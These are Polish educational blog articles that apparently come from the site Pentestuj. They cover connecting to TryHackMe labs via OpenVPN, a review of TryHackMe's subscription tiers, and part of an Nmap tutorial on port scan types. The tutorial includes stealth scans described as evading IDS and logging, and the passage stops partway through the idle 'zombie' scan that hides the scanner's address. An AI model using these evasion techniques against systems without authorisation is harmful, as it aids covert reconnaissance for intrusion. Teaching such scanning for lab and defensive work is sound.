AttackBox czy własne środowisko?

Podczas pracy na TryHackMe masz do wyboru dwie opcje: AttackBox lub konfigurację własnego środowiska za pomocą OpenVPN. Każde z tych rozwiązań ma swoje zalety i wady, które warto rozważyć.

AttackBox jest to wirtualna maszyna, którą można uruchomić bezpośrednio w przeglądarce. Jest gotowa do pracy zaraz po aktywacji, co czyni ją doskonałym wyborem dla osób początkujących lub tych, które chcą szybko rozpocząć ćwiczenia. Główne zalety AttackBoxa to łatwość użycia oraz zintegrowany pakiet narzędzi. Po prostu otrzymujesz środowisko, które jest od razu gotowe do pracy.

Jednak AttackBox ma swoje ograniczenia. W darmowej wersji dostęp jest ograniczony czasowo (1 godzina dziennie). Wirtualna maszyna w przeglądarce może działać wolniej w porównaniu do lokalnego środowiska, a także czasem się „wysypuje”.

Skonfigurowanie własnego środowiska i podłączenie się do THM za pomocą OpenVPN pozwala na większą kontrolę nad pracą w labach. Ta opcja wymaga nieco więcej wysiłku na początku, ale dzięki temu masz:

• nieograniczony dostęp – możesz korzystać z labów bez limitu czasowego,
• większą elastyczność – masz możliwość użycia ulubionego systemu operacyjnego (np. Kali Linux, Parrot Security OS, itd.) i dowolnych narzędzi,
• lepszą wydajność – operacje są wykonywane na Twoim sprzęcie, co przyspiesza działanie.

Jeśli dopiero zaczynasz swoją przygodę z cyberbezpieczeństwem, AttackBox będzie prostszą i szybszą opcją. Natomiast jeżeli planujesz długoterminowe korzystanie z TryHackMe i chcesz uczyć się pracy w bardziej realnych warunkach, warto poświęcić swój czas na konfigurację własnego środowiska z OpenVPN.

Jak połączyć się poprzez OpenVPN

Pobierz plik konfiguracyjny

Zaloguj się do swojego konta na TryHackMe. Następnie kliknij na swój awatar, który znajduje się w prawym górnym rogu ekranu. Z rozwijanego menu wybierz Access.

Po przejściu na podstronę Access, upewnij się, że jest wybrana lokalizacja, która znajduje się najbliżej Ciebie:

W przypadku zmiany lokalizacji serwera, po wybraniu odpowiedniej opcji, kliknij przycisk Regenerate:

Następnie pobierz plik, klikając przycisk Download Configuration File:

Instalacja na Linuxie

Pokażę Ci jak skonfigurować połączenie na przykładzie systemu Kali Linux, który jest zainstalowany na maszynie wirtualnej VMware.

W pierwszej kolejność upewnij się, że masz zainstalowany OpenVPN.

OpenVPN jest to otwartoźródłowy protokół VPN, który umożliwia tworzenie bezpiecznych połączeń typu site-to-site lub point-to-point, wykorzystując techniki wirtualnej sieci prywatnej. Dzięki OpenVPN możliwe jest szyfrowanie ruchu internetowego i tworzenie tuneli pomiędzy urządzeniem użytkownika a docelową siecią, co zapewnia prywatność i bezpieczeństwo danych przesyłanych przez Internet.

W kontekście TryHackMe, OpenVPN umożliwia zdalne połączenie z siecią labów, a co za tym idzie uzyskuje się dostęp do środowisk, w których można wykonywać ćwiczenia praktyczne.

OpenVPN – dokumentacja Kali Linux: KLIK!

Jeśli chcesz sprawdzić, czy OpenVPN jest zainstalowany w Twoim systemie, wpisz poniższe polecenie:

openvpn --version

Jeśli OpenVPN jest zainstalowane, zostanie wyświetlony numer wersji:

Poniższym poleceniem zainstalujesz OpenVPN:

sudo apt install openvpn

Teraz wystarczy włączyć plik konfiguracyjny, który pobrałaś/pobrałeś z THM z zakładki Access.

Przejdź do katalogu w którym znajduje się pobrany plik. W moim przypadku plik ten znajduje się na pulpicie:

Następnie użyj poniższego polecenia, żeby nawiązać połączenie:

sudo openvpn nazwa_pobranego_pliku.ovpn

Po kilku sekundach powinien pojawić się komunikat „Initialization Sequence Completed”:

Aby się upewnić, że połączenie zostało nawiązane, otwórz nową kartę w terminalu i wpisz poniższe polecenie:

ifconfig

Powinien pojawić się interfejs tun:

Instalacja na Windowsie

Ściągnij plik instalacyjny: KLIK!

Zainstaluj OpenVPN:

Po zainstalowaniu pojawi się okno w którym należy kliknąć CONNECT:

Następnie wybierz plik .ovpn, który wcześniej ściągnęłaś/ściągnąłeś: https://tryhackme.com/r/access

Połączenie powinno zostać nawiązane:

Instalacja na MacOS

Pobierz plik instalacyjny: KLIK!

Zainstaluj OpenVPN:

Po zainstalowaniu pojawi się okno w którym należy kliknąć CONNECT, następnie wybierz plik .ovpn, który ściągnęłaś/ściągnąłeś https://tryhackme.com/r/access:

Połączenie powinno zostać nawiązane:

Artykuł TryHackMe – jak połączyć się przez OpenVPN pochodzi z serwisu Pentestuj.

Czym jest TryHackMe

Większość tradycyjnych kursów online o tematyce cyberbezpieczeństwa zazwyczaj skupia się na teorii. Owszem jest to bardzo ważne, zwłaszcza na początku nauki. Jednak z czasem przychodzi taki moment, że trzeba wypróbować i przećwiczyć zdobytą wiedzę w praktyce. To właśnie dzięki ćwiczeniom praktycznym nasza wiedza staje się bardziej ugruntowana. Oczywiście nie wolno nam testować zabezpieczeń systemów do którym nie mamy uprawnień. Należy również pamiętać o tym, że jeśli nie mamy doświadczenia i nie wiemy co dokładnie robimy, możemy podczas testów trwale uszkodzić dany system. Niestety może wiązać się to z przykrymi konsekwencjami.

I tu właśnie z pomocą przychodzi TryHackMe. Jest to platforma edukacyjna, która łączy naukę teorii z praktyką. Do dyspozycji otrzymujemy kontrolowane środowisko w którym możemy testować zdobytą wiedzę.

Należy w tym miejscu zaznaczyć, że platforma TryHackMe jest dostępna w języku angielskim. Nie ma dostępnego polskiego tłumaczenia. Jednak nie uważam tego za minus, ponieważ osoby wkraczające w cyberbezpieczeństwo powinny znać język angielski, gdyż większość dokumentacji i poradników jest dostępna w tym właśnie języku.

Podział na ścieżki, moduły i pokoje

Cały materiał, który jest dostępny na TryHackMe jest podzielony dla ścieżki tematyczne (Learning Paths):

Jest to bardzo przydatne zwłaszcza dla początkujących osób. Platforma oferuje szeroki wachlarz ścieżek, które pomagają systematycznie zdobywać wiedzę i doświadczenie w wybranych dziedzinach cyberbezpieczeństwa. Do wyboru mamy ścieżki, które są przygotowane z myślą o początkujących osobach, a także o tych bardziej zaawansowanych. Uważam to za dobre posunięcie, ponieważ początkujące osoby nie muszą się zastanawiać od czego powinny zacząć. Przy każdej ścieżce znajduje się informacja odnośnie poziomu trudności:

Poszczególne ścieżki podzielone są moduły. Przykładowo ścieżka Web Application Pentesting zawiera moduły (sekcje) takie tak:

• Authentication,
• Injection Attacks,
• Advanced Server-Side Attacks,
• Advanced Client-Side Attacks,
• HTTP Request Smuggling.

Każdy moduł składa się z pokoi (rooms), np. moduł Advanced Client-Side Attacks składa się z pokoi takich jak:

• XSS,
• CSRF,
• DOM-Based Attack,
• CORS & SOP,
• Challenge „Whats Your Name?”

Pokój z kolei składa się z teorii oraz zadań . Dodatkowo w każdym pokoju mamy dostęp do maszyny, na której możemy testować nasze umiejętności, tzw. AttackBox.

Jak widzisz całość jest logicznie uporządkowana i przez to bardzo łatwo jest się odnaleźć na początku swojej przygody z THM 🙂

Jak działają pokoje (rooms)

Tak jak już wcześniej wspomniałam materiał, który jest dostępny na TryHackMe jest podzielony na pokoje (rooms). Można powiedzieć, że są to odrębne środowiska laboratoryjne. Każdy z pokoi skupia się na danym temacie.

Dostępne są pokoje, które dostarczają nam wiedzę teoretyczną, a także środowisko laboratoryjne w którym możemy to przećwiczyć. Teoria jest często przeplatana zadaniami. Najczęściej są to zadania CTF, w których musimy zdobyć ukrytą flagę, czyli określony ciąg znaków, który potem musimy wpisać w specjalnie przygotowanym do tego polu. Jeśli flaga jest prawidłowa, zadanie jest oznaczane jako zaliczone.

Drugą grupę stanowią pokoje w których nie znajdziemy już wstępu teoretycznego, a jedynie same zadania CTF. Po prostu są to specjalnie przygotowane systemy, które celowo mają wprowadzone luki bezpieczeństwa, poprzez które należy włamać się i zdobyć ukryte flagi.

Czym jest AttackBox

AttackBox jest to wirtualne środowisko dostępne na platformie TryHackMe, które umożliwia użytkownikom przeprowadzanie testów penetracyjnych i rozwiązywanie zadań bez potrzeby posiadania własnej infrastruktury. To po prostu maszyna wirtualna uruchamiana z poziomu TryHackMe, w której użytkownicy mogą przeprowadzać ataki, eksperymentować z narzędziami bezpieczeństwa oraz testować aplikacje i systemy w izolowanym środowisku.

Uważam, że jest to bardzo fajna opcja dla początkujących osób, które nie są jeszcze biegłe w konfiguracji swojego własnego środowiska Linuxowego. Niestety rozwiązanie to ma pewne wady. Po pierwsze czasem potrafi się „wysypać”. Niestety zdarzyło mi się to kilka razy. Po drugie działamy na „obcym” systemie, który nie jest przez nas skonfigurowany. Po trzecie AttackBox potrafi czasem zamulać.

Właśnie z tego powodu wolę podłączyć poprzez OpenVPN swoje własne środowisko Kali Linux postawione na maszynie wirtualnej. Może brzmi skomplikowanie, ale w rzeczywistości jest to banalnie proste, a nauka na TryHackMe staje się dużo przyjemniejsza.

Jakie są zalety i wady TryHackMe

Uważam że sporą zaletą jest duża przejrzystość platformy. Podział na ścieżki, moduły i pokoje jest całkiem logiczny i wprowadza duże ułatwienie dla osób początkujących. Niestety niektóre pokoje są przypisane do kilku ścieżek. Przykładowo jeśli rozwiążesz wszystkie zadania z wybranej ścieżki zobaczysz, że masz postępy także na kilku innych ścieżkach. Tak więc pokoi jest trochę mniej niż mogło by się wydawać na pierwszy rzut oka.

Bardzo fajny jest podział pokoi zależności od poziomu trudności. Jednak tu także nie zawsze się to sprawdza. Parę razy mi się zdarzyło, że moduł oznaczony jako łatwy w rzeczywistości okazywał się nieco bardziej zaawansowany.

Środowisko AttackBox jest świetnym dodatkiem. Dzięki temu można od razu testować swoją wiedzę, bez potrzeby konfiguracji własnego środowiska. Niestety AttackBox ma swoje ograniczenia, o których wcześniej pisałam. Jednak i tak uważam, że jest to super dodatek.

Poziom merytoryczny danych modułów jest różny. Widać, że szykowały je różne osoby. Niektóre moduły są przygotowane w wyczerpujący i mega profesjonalny sposób, a inne nieco odbiegają od nich jakościowo. Mimo wszystko całość oceniam na mocną piątkę.

Bardzo fajna jest wyszukiwarka modułów. Za jej pomocą możemy przeszukiwać moduły pod kątem fraz, a także stopnia trudności.

Po ukończeniu danej ścieżki otrzymujemy certyfikat. Niestety nie ma on dużej wartości na rynku pracy, z uwagi na fakt, że na stronie THM przy każdym module są dostępne writeupy. Oprócz tego rozwiązania poszczególnych zadań znajdziemy w sieci.

Czym się różni płatna wersja od darmowej

TryHackMe jest dostępne w 3 pakietach: Free, Premium, Business. Pakiet Free jak sama nazwa wskazuje jest bezpłatny, natomiast Premium oraz Business są płatne. Ja jednak skupię się na tańszej wersji Premium.

Bezpłatna wersja ma swoje ograniczenia, które z czasem bywają uciążliwe. W wersji bezpłatnej mamy dostęp tylko do pokoi, które są oznaczone jako free. Często pokoje te są przeznaczone dla osób początkujących. Bardziej zaawansowane treści są płatne. Decydując się na daną ścieżkę musisz mieć na uwadze to, że będziesz mieć dostęp tylko do początkowych modułów. Tak więc jeśli chcesz przejść przez całą ścieżkę, musisz mieć wykupione konto premium.

W wersji darmowej jest ograniczenie w dostępie do AttackBox. Darmowe konta mają dostęp tylko przez godzinę w danym dniu. Ja jednak nie lubię korzystać z AttackBox. Dużo lepiej pracuje mi się na własnym systemie poprzez OpenVPN. Tak więc uważam, że spokojnie można obejść to ograniczenie.

W wersji premium otrzymujemy też szybsze maszyny, co przekłada się na komfort korzystania z serwisu.

Dużym zaskoczeniem było dla mnie to, że kupując wersję premium nie otrzymałam faktury. Obecnie jest tak, że tylko kupując konto business otrzymamy fakturę. Jednak dostałam odpowiedź z supportu, że z czasem może wprowadzą zmiany w tym zakresie.

Czy warto wykupić konto premium na TryHackMe?

Jeśli dopiero zaczynasz swoją przygodę z THM, uważam że na początek warto przetestować platformę w wersji bezpłatnej. Akurat w wersji free mamy dostęp do najłatwiejszych modułów. Dzięki temu sprawdzisz, czy odpowiada Ci taka forma szkoleń.

Warto wykupić konto premium, jeśli planujesz intensywnie korzystać z THM. Wtedy na pewno się to opłaci. Czasami można natrafić na promocję, zwłaszcza na Black Friday.

Ogólnie rzecz biorąc THM zawiera dużo teorii i zadań praktycznych, jednak nie można traktować tego jako jedynego źródła wiedzy. Warto poszerzać swoją wiedzę korzystając z książek, a także innych serwisów takich jak PortSwigger czy HackTheBox. Jednak uwaga ta dotyczy także pozostałych serwisów.

Artykuł TryHackMe – czym jest i czy warto wykupić wersję premium pochodzi z serwisu Pentestuj.

W poradniku tym skupię się tylko i wyłącznie na skanowaniu portów za pomocą Nmapa. Omówię jakie są możliwe rodzaje skanowania, a także wyjaśnię kiedy należy ich używać i na co warto zwrócić uwagę.

Czym są porty protokołu

Porty protokołu są to punkty końcowe komunikacji, które umożliwiają wymianę danych pomiędzy urządzeniami. Każdy port przypisany jest do konkretnego numeru (od 0 do 65535), co pozwala systemom identyfikować rodzaj usługi, z jaką ma być nawiązana komunikacja. Więcej o portach protokołu przeczytasz w osobnym artykule: Port protokołu – co to jest?

Kiedy komputer uruchamia wybraną usługę sieciową (np. otwiera w przeglądarce stronę google.com), otwiera port co umożliwia odbieranie połączeń. Porty są niezbędne, aby umożliwić jednoczesne obsługiwanie wielu żądań sieciowych lub oferować różne usługi na tym samym urządzeniu. Na przykład, gdy w przeglądarce otwierasz kilka stron internetowych naraz, program musi jakoś rozpoznać, która karta ładuje którą stronę. Dzieje się to poprzez nawiązywanie połączeń zdalnych z serwerami za pomocą różnych portów lokalnych na Twoim komputerze, jak na poniższym zrzucie.

Połączenia sieciowe nawiązywane są pomiędzy dwoma portami – jednym otwartym portem nasłuchującym na serwerze i losowo wybranym portem na Twoim urządzeniu. Na przykład podczas łączenia się ze stroną google.com Twój komputer może otworzyć port 52456, aby połączyć się z portem 443 serwera.

Należy także wiedzieć, że niektóre numery portów są standardowo przypisane do danych usług, np.:

• Port 20, 21 – protokół FTP (File Transfer Protocol) – używany do przesyłania plików między serwerami i klientami. Port 21 służy do przesyłania poleceń i komunikatów między klientem a serwerem. Natomiast port 20 jest używany do transferu danych.
• Port 22 – protokół SSH (Secure Shell) – umożliwia bezpieczne zdalne logowanie i zarządzanie systemami.
• Port 25 – protokół SMTP (Simple Mail Transfer Protocol) – wykorzystywany do wysyłania wiadomości e-mail.
• Port 53 – protokół DNS (Domain Name System) – służy do tłumaczenia nazw domenowych na adresy IP.
• Port 80 – protokół HTTP (HyperText Transfer Protocol) – obsługuje standardowe strony internetowe.
• Port 443 – protokół HTTPS (HTTP Secure) – zapewnia szyfrowane połączenia na stronach internetowych.
• Port 110 – protokół POP3 (Post Office Protocol) – używany do odbierania wiadomości e-mail.
• Port 143 – protokół IMAP (Internet Message Access Protocol) – umożliwia dostęp do wiadomości e-mail bez ich pobierania na lokalny komputer.
• Port 3389 – protokół RDP (Remote Desktop Protocol) – wykorzystywany do zdalnego pulpitu na systemach Windows.

Oczywiście powyższe usługi można przypisać do innych numerów portów. Jednak takie ustawienia są najczęściej spotykane.

Z punktu widzenia bezpieczeństwa, otwarte porty mogą być potencjalnym celem ataków, dlatego ważne jest monitorowanie i ograniczanie dostępu do tych, które nie są niezbędne do działania systemu.

Oznaczenia portów

Nmap w wynikach skanowania określa porty korzystając z kilku statusów.

• Otwarty (open) – port jest oznaczony jako otwarty, wtedy gdy aplikacja akceptuje połączenia TCP lub UDP na tym porcie. Ten status oznacza, że port ma przypisaną usługę nasłuchującą. Otwarty port stanowi cel dalszych badań pod kątem bezpieczeństwa. Przykład: Serwer WWW działający na porcie 80.
• Zamknięty (closed) – port odbiera i wysyła pakiety otrzymane z Nmapa, ale na porcie tym nie ma żadnej włączonej usługi, która obsługuje połączenia. Zamknięte porty mogą być użyteczne do sprawdzania, czy host jest aktywny oraz do identyfikowania systemu operacyjnego.
• Filtrowany (filtered) – komunikacja na tym porcie jest filtrowana (poprzez np. firewall), przez co Nmap nie jest w stanie określić, czy port ten jest otwarty czy zamknięty. Brak odpowiedzi może świadczyć o zabezpieczeniach chroniących ten port.
• Niefiltrowany (unfiltered) – dany port jest dostępny, ale Nmap nie jest w stanie określić czy jest otwarty czy zamknięty. Takie oznaczenie może zostać nadane tylko poprzez skanowanie ACK. W takiej sytuacji potrzebne jest dalsze skanowanie (np. Window, SYN czy FIN), które może pomóc w określeniu czy dany port jest otwarty czy zamknięty.
• Otwarty|filtrowany (open|filtered) – status występuje zwykle wtedy, gdy Nmap nie otrzymuje odpowiedzi na wysłane pakiety i nie jest w stanie rozpoznać, czy port jest otwarty, czy filtrowany. W ten sposób oznaczane są porty podczas skanowania UDP, FIN, Null, Xmas.
• Zamknięty|filtrowany (closed|filtered) – Nmap zazwyczaj stosuje ten status w sytuacjach, gdy nie może jednoznacznie stwierdzić, czy port jest zamknięty czy filtrowany. Taki wynik jest bardzo rzadko spotykany i może się pojawić tylko podczas skanowania IPID Idle.

Podstawowe polecenia Nmapa

Podstawowa składnia polecenia ma poniższą strukturę. Możemy wybrać metodę skanowania, dodatkowe opcje oraz określić cel:

nmap <metoda skanowania> <opcje> <cel>

Wybór portów

W Nmap przełącznik -p służy do określenia, które porty mają zostać przeskanowane. Domyślnie Nmap skanuje 1000 najczęściej używanych portów, ale dzięki przełącznikowi -p można dokładnie wskazać, które porty mają być sprawdzone.

Skanowanie konkretnego portu (Nmap sprawdzi tylko port 80 na podanym hoście):

nmap -p 80 192.168.0.1

Skanowanie wielu portów (skanuje tylko porty 21, 80, 443):

nmap -p 21,80,443 192.168.0.1

Zakres portów (skanuje porty od 21 do 45):

nmap -p 21-45 192.168.0.1

Sprawdzenie wszystkich 65535 portów:

nmap -p- 192.168.0.1

Przeskanowanie najczęściej używanych portów zawartych w pliku nmap-services:

nmap -F 192.168.0.1

Zapis wyników

W Nmap możesz zapisywać wyniki skanowania na kilka różnych sposobów.

Zapis do pliku w formacie zwykłego tekstu:

nmap -p 80,443 192.168.0.1 -oN wynik.txt

Zapis w formacie XML:

nmap -p 80,443 192.168.0.1 -oX wynik.xml

Zapisanie wyników w formacie łatwym do filtrowania poleceniem grep:

nmap -p 80,443 192.168.0.1 -oG wynik.txt

Zapis w trzech formatach jednocześnie:

nmap -p 80,443 192.168.0.1 -oA wynik

Metody skanowania portów

Nmap oferuje kilka metod skanowania. Warto je znać, ponieważ dzięki temu możemy odpowiednio podejść do danego problemu. Domyślny skan Nmapa może nie być wystarczający w sytuacjach wymagających większej precyzji lub gdy chcemy uniknąć wykrycia.

Wyróżnia się trzy podstawowe metody skanowania:

• TCP SYN (-sS)
• TCP Connect (-sT)
• UDP (-sU)

Ponadto są także dodatkowe, aczkolwiek mniej popularne metody m.in.:

• TCP Null (-sN)
• TCP FIN (-sF)
• TCP Xmas (-sX)
• TCP ACK (-sA)
• TCP Maimon Scan (-sM)
• Idle Scan (-sI)

Najczęściej będziesz używać trzech pierwszych metod skanowania. Jednak warto wiedzieć także o pozostałych technikach. Niestety niektóre z nich nie są już użyteczne we współczesnych systemach.

UWAGA! Zawsze miej na uwadze to, że wyniki z Nmapa nie muszą być prawdziwe. Dane są zwracane z systemów, które są chronione zaporami sieciowymi, tak więc celowo mogą zwracać nieprawdziwe dane.

Skanowanie TCP SYN (-sS)

Skanowanie TCP SYN jest domyślnym ustawieniem, o ile jest możliwy taki typ skanowania (użytkownik wykonujący skanowanie musi mieć uprawnienia root). Jego główną cechą jest to, że podczas skanowania nie jest otwierane całe połączenie TCP. Dzięki temu ta metoda skanowania jest bardziej dyskretna. Skanowanie TCP SYN jest często nazywane „half open scans”, co w dosłownym tłumaczeniu oznacza pół otwarte skanowanie. Żeby lepiej to zrozumieć, zacznijmy od przypomnienia czym jest uzgadnianie trój-etapowe (ang. TCP 3-Way Handshake).

Protokół TCP jest protokołem połączeniowym. Oznacza to, że zanim zostaną przesłane jakiekolwiek dane pomiędzy klientem a serwerem, najpierw musi zostać ustanowione połączenie, które nazywa się 3-Way Handshake. W pierwszej kolejności klient wysyła do serwera pakiet z flagą SYN. Serwer jest w ten sposób informowany, że dany klient chce nawiązać z nim połączenie. Serwer jeśli może nawiązać połączenie, wysyła w odpowiedzi pakiet z flagą SYN oraz ACK. Flaga ACK informuje klienta, że serwer otrzymał poprzedni pakiet. W odpowiedzi klient wysyła do serwera pakiet z flagą ACK, co jest potwierdzeniem otrzymania komunikatu. Od tej chwili zostaje nawiązane połączenie pomiędzy klientem a serwerem i jest możliwa właściwa transmisja danych. Połączenie TCP 3-Way Handshake jest przedstawione na poniższym obrazku:

Jak już wszystkie dane zostaną przesłane pomiędzy klientem a serwerem, następuje zamknięcie sesji. Klient w tym celu wysyła do serwera pakiet z ustawioną flagą FIN. Flaga ta informuje serwer, że sesja zostanie zamknięta. Serwer odpowiada pakietem z flagą ACK, co jest potwierdzeniem odebrania wcześniejszego pakietu od klienta. Następnie serwer przesyła kolejny pakiet z flagą FIN. Klient odpowiada mu na to pakietem z flagą ACK. Po tym sesja zostaje zamknięta.

Do zarządzania sesjami wykorzystuje się następujące flagi:

• SYN (Synchronize) – inicjalizuje połączenie między klientem a serwerem.
• ACK (Acknowledge) – potwierdza otrzymanie pakietu danych.
• FIN (Finish) – sygnalizuje zamiar zakończenia połączenia.
• RST (Reset) – natychmiast zrywa połączenie.
• PSH (Push) – wymusza natychmiastowe przekazanie danych do aplikacji odbiorcy.
• URG (Urgent) – oznacza, że przesyłane dane mają priorytet i powinny być natychmiast przetworzone.

Podczas skanowania TCP SYN połączenie nie jest otwierane. Klient wysyła do serwera tylko pakiet SYN. Jeśli serwer odpowie komunikatem SYN i ACK, oznacza to, że port jest otwarty.

sudo nmap -sS <IP_celu>

Natomiast serwer jeśli odpowie komunikatem RST port jest oznaczany jako zamknięty.

W przypadku gdy serwer nie odpowiada, port jest oznaczony jako filtrowany.

Zalety skanowania SYN:

• Można używać do omijania starszych IDS (systemów wykrywania włamań), ponieważ szukają one pełnego trój-etapowego uzgadniania (3-Way Handshake).
• Skanowanie TCP SYN często nie jest zapisywane w logach.
• Jest szybsze od skanowania TCP Connect (ten typ skanowania jest opisany w kolejnym punkcie), ponieważ nie jest ustanawiane pełne 3-Way Handshake.

Wady skanowania SYN:

• Wymagane są uprawnienia root (w systemie Linux). Jest to spowodowane tym, że skanowanie SYN wymaga możliwości tworzenia surowych pakietów (raw), w przeciwieństwie do pełnego uzgadniania TCP. Pakiety raw może tworzyć tylko użytkownik z uprawnieniami root. Należy wspomnieć o tym, że skanowanie SYN można również uruchomić, nadając programowi Nmap uprawnienia CAP_NET_RAW, CAP_NET_ADMIN i CAP_NET_BIND_SERVICE. Niestety takie podejście wymaga odpowiedniej konfiguracji i może wiązać się z ryzykiem w zakresie bezpieczeństwa systemu.

Skanowanie SYN jest domyślnym skanowaniem używanym przez Nmap, jeśli jest uruchamiane z uprawnieniami root. Natomiast, jeśli skanowanie jest uruchamiane bez uprawnień sroot, Nmap domyślnie używa skanowania TCP Connect, które opisuję w kolejnym punkcie.

Skanowanie TCP Connect (-sT)

Ten typ skanowania jest domyślny w przypadku gdy nie jest możliwa metoda TCP SYN. Podczas stanowania TCP Connect Nmap nie wysyła pakietów raw, tylko prosi system o nawiązanie połączenia z badanym hostem za pomocą wywołania funkcji systemowej connect(). Niestety ta metoda jest dużo mniej efektywna od skanowania TCP SYN. Wywołanie connect() w przeciwieństwie do TCP SYN jest wysokopoziomowe i otwiera pełne połączenie (3-Way Handshake). W konsekwencji Nmap musi wysłać więcej pakietów, żeby uzyskać te same informacje. Ponadto zapytania mogą zostać zapisane w logach badanego systemu.

Jeśli badane urządzenie odpowie flagą SYN/ACK, Nmap kończy procedurę uzgadniania, odsyłając pakiet TCP z ustawioną flagą ACK. Taki port jest oznaczany jako otwarty. Natomiast jeśli badane urządzenie odeśle pakiet z flagą RST, Nmap oznacza port jako zamknięty. W przypadku gdy urządzenie nie odpowiada, oznacza to, że port jest chroniony przez zaporę i dlatego jest uważany za filtrowany.

sudo nmap -sT <IP_celu>

Należy wiedzieć, że uzyskane wyniki mogą być zafałszowane. Bardzo łatwo jest skonfigurować zaporę tak, aby odpowiadała pakietem z flagą RST. Przez takie ustawienie Nmap oznaczy port jako zamknięty, pomimo że w rzeczywistości może być otwarty.

Skanowanie UDP (-sU)

W przeciwieństwie do TCP, połączenia UDP są bezstanowe. Oznacza to, że zamiast inicjować połączenie za pomocą 3-Way Handshake, połączenia UDP polegają na wysyłaniu pakietów do portu docelowego bez czekania na odpowiedź. To sprawia, że ​​UDP jest doskonałe dla połączeń, dla których bardziej liczy się szybkość niż jakość (np. połączenia wideo, gry online, itp.). Niestety brak uzgadniania sprawia, że skanowanie UDP jest znacznie trudniejsze i wolniejsze.

Gdy Nmap otrzyma odpowiedź z badanego portu (jest to dość nietypowe), oznacza go jako otwarty. W przypadku braku odpowiedzi oznacza port jako otwarty|filtrowany. Natomiast jeśli port jest zamknięty powinien odpowiedzieć pakietem ICMP z informacją, że jest niedostępny.

Nmap podczas skanowania UDP standardowo wysyła puste żądania. Jednak w przypadku standardowych portów, które są przypisane do znanych usług, Nmap wysyła specjalnie przygotowane ładunki specyficzne dla danego protokołu. Dzięki temu istnieje większe prawdopodobieństwo, że otrzymane wyniki będą dokładniejsze.

Z tego właśnie powodu warto na początek ograniczyć skanowanie do najczęściej używanych portów:

nmap -sU -F <IP_celu>

Metody skanowania, które są przedstawione w kolejnych punktach są mniej popularne, jednak warto je znać, ponieważ te typy skanowania są jeszcze bardziej dyskretne niż skanowanie TCP SYN. Bardzo często nie generują odpowiedzi, co utrudnia ich wykrycie przez systemy IDS/IPS.

Skanowanie NULL (-sN)

Podczas skanowania NULL Nmap wysyła pakiet bez żadnej flagi. Taki pakiet, gdy dotrze do otwartego portu nie wywoła żadnej odpowiedzi. Tak więc, jeśli Nmap wyśle taki pakiet i nie otrzyma żadnej odpowiedzi, oznacza badany port jako otwarty lub jako blokowany przez zaporę sieciową.

nmap -sN IP_CELU

Jeśli badany cel odpowie pakietem z flagą RST, oznacza to, że dany port jest zamknięty.

Skanowanie NULL opiera się na braku odpowiedzi przez badany cel. Niestety Nmap nie może wtedy dokładnie określić, czy port jest otwarty czy chroniony przez zaporę sieciową (filtrowany).

Poniżej znajduje się przykład skanowania NULL. Ponieważ ta metoda skanowania opiera się na braku odpowiedzi, Nmap nie był w stanie określić czy port jest filtrowany czy otwarty. Na poniższym zrzucie widać, że 8 portów zostało oznaczonych jako otwarty|filtrowany.

Skanowanie FIN (-sF)

Podczas tego typu skanowania Nmap wysyła pakiet TCP, w którym ustawiona jest jedynie flaga FIN (bez innych flag). Podobnie jak w przypadku skanowania NULL, w przypadku braku odpowiedzi, Nmap nie może określić, czy port jest otwarty, czy filtrowany przez zaporę sieciową.

nmap -sF IP_CELU

Poniżej znajduje się przykładowe skanowanie FIN. Wyniki są bardzo podobne jak w przypadku skanowania NULL. Tu również Nmap nie był w stanie rozróżnić czy port jest otwarty czy filtrowany, dlatego oznaczył porty jako otwarty|filtrowany. Jednak w skanowaniu FIN Nmap znalazł o jeden port więcej niż w przypadku skanowania NULL. Warto zaznaczyć, że badany był ten sam adres IP.

W przypadku gdy badany cel odpowie pakietem z flagą RST, oznacza to, że port jest zamknięty.

Należy jednak zdawać sobie sprawę z tego, że niektóre zapory sieciowe mogą być ustawione tak, że odrzucają ruch bez wysyłania pakietu z flagą RST.

Skanowanie Xmas

Podczas skanowania Xmas Nmap wysyła pakiet z ustawionymi flagami FIN, PSH oraz URG. Podobnie jak w przypadku skanowania NULL i FIN, jeśli odebrany zostanie pakiet RST, oznacza to, że port jest zamknięty. W przeciwnym razie port jest oznaczany jako otwarty lub filtrowany.

Skanowanie Xmas jest skuteczne głównie w przypadku zapór bezstanowych. Bezstanowe zapory nie analizują pełnej zawartości pakietów, a jedynie sprawdzają, czy pakiety spełniają ogólne reguły. Dzięki temu, że pakiet Xmas zawiera dodatkowe flagi PSH i URG, może przejść przez zapory, które nie sprawdzają dokładnie tych flag. Nmap wykorzystuje ten mechanizm, aby obejść zaporę, która nie analizuje szczegółowo ustawienia flag w pakietach.

Z kolei w przypadku zapór stanowych, które analizują stan połączenia i kontekst wcześniejszych pakietów, skanowanie Xmas jest zazwyczaj nieskuteczne. Zapora stanowa może wykryć nietypowe ustawienie flag i skutecznie zablokować taki pakiet.

nmap -sX IP_CELU

Na poniższym zrzucie znajduje się wynik przykładowego skanowania Xmas. Rezultat jest podobny jak w przypadku skanowania FIN.

TCP ACK (-sA)

Podczas tej metody skanowania Nmap wysyła pakiet z flagą ACK. Badany cel, niezależnie od tego, czy port jest otwarty, czy zamknięty, odpowiada pakietem z flagą RST. Dzieje się tak, ponieważ pakiet z flagą ACK powinien być wysyłany w odpowiedzi na wcześniej odebrany pakiet TCP, aby potwierdzić jego odbiór. Z tego powodu ten typ skanowania nie pozwala ustalić, czy port jest otwarty, ponieważ zarówno porty otwarte, jak i zamknięte mogą odpowiedzieć pakietem RST. Metoda ta jest jednak użyteczna w celu wykrywania zapór sieciowych oraz sprawdzania, czy dany port jest filtrowany.

nmap -sA IP_CELU

TCP Maimon Scan (-sM)

Uriel Maimon po raz pierwszy opisał ten typ skanowania w 1996 r. W metodzie tej Nmap wysyła do badanego portu pakiet z flagą FIN i ACK. Wyczekiwana jest odpowiedź z flagą RST. Wtedy wiadomo, że port jest zamknięty. W przypadku braku odpowiedzi port jest oznaczany jako otwarty lub filtrowany. Niestety w nowoczesnych sieciach ten typ skanowania nie zadziała. Także należy to traktować bardziej jako ciekawostkę 🙂

nmap -sM IP_CELU

Idle Scan

Idle scan to zaawansowana technika skanowania w Nmap, która pozwala na przeprowadzenie skanowania portów bez ujawniania prawdziwego adresu IP atakującego. Jest to metoda całkowicie pasywna, ponieważ wykorzystuje tzw. host zombie do wykonania skanowania. Poniżej znajdziesz opis działania tej metody skanowania.

W pierwszej kolejności atakujący wybiera host w sieci, który ma przewidywalną sekwencję identyfikatorów IP. Najlepiej, jeśli jest to host nieaktywny (stąd nazwa „idle” – bezczynny). Następnie wysyła pakiet SYN/ACK do hosta zombie i przechwytuje zwrócony numer IP ID:

